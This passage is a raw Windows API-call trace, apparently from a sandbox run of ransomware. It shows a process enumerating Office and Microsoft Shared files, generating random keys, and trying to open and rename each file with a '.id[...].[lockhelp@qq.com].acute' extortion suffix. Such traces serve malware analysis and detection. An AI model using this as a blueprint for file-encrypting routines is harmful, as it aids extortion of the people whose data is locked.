shared\\ink\\tpcps.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.230] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.230] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=4096) returned 1 [0273.230] CloseHandle (hObject=0x368) returned 1 [0273.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0273.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.230] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.230] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=3584) returned 1 [0273.230] CloseHandle (hObject=0x368) returned 1 [0273.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0273.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.231] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.232] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=3584) returned 1 [0273.232] CloseHandle (hObject=0x368) returned 1 [0273.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0273.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.232] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.232] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=3584) returned 1 [0273.232] CloseHandle (hObject=0x368) returned 1 [0273.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0273.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.233] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.233] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=419232) returned 1 [0273.233] CloseHandle (hObject=0x368) returned 1 [0273.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 0x20 [0273.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.233] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.233] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=26624) returned 1 [0273.233] CloseHandle (hObject=0x368) returned 1 [0273.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0273.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.234] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.234] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=378880) returned 1 [0273.234] CloseHandle (hObject=0x368) returned 1 [0273.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0273.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.234] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.235] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=198056) returned 1 [0273.235] CloseHandle (hObject=0x368) returned 1 [0273.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20 [0273.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.235] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.235] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=52656) returned 1 [0273.235] CloseHandle (hObject=0x368) returned 1 [0273.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0273.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.236] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.236] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=20944) returned 1 [0273.236] CloseHandle (hObject=0x368) returned 1 [0273.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0273.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.236] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.236] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=862608) returned 1 [0273.236] CloseHandle (hObject=0x368) returned 1 [0273.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 0x20 [0273.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.237] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.237] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=154448) returned 1 [0273.237] CloseHandle (hObject=0x368) returned 1 [0273.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 0x20 [0273.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.237] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.238] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=2528128) returned 1 [0273.238] CloseHandle (hObject=0x368) returned 1 [0273.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll")) returned 0x20 [0273.238] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0273.238] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll")) returned 0 [0273.238] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.238] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=55680) returned 1 [0273.238] CloseHandle (hObject=0x368) returned 1 [0273.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 0x20 [0273.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.239] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.239] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1388416) returned 1 [0273.240] CloseHandle (hObject=0x368) returned 1 [0273.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0273.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.240] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.241] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=41864) returned 1 [0273.241] CloseHandle (hObject=0x368) returned 1 [0273.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 0x20 [0273.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: 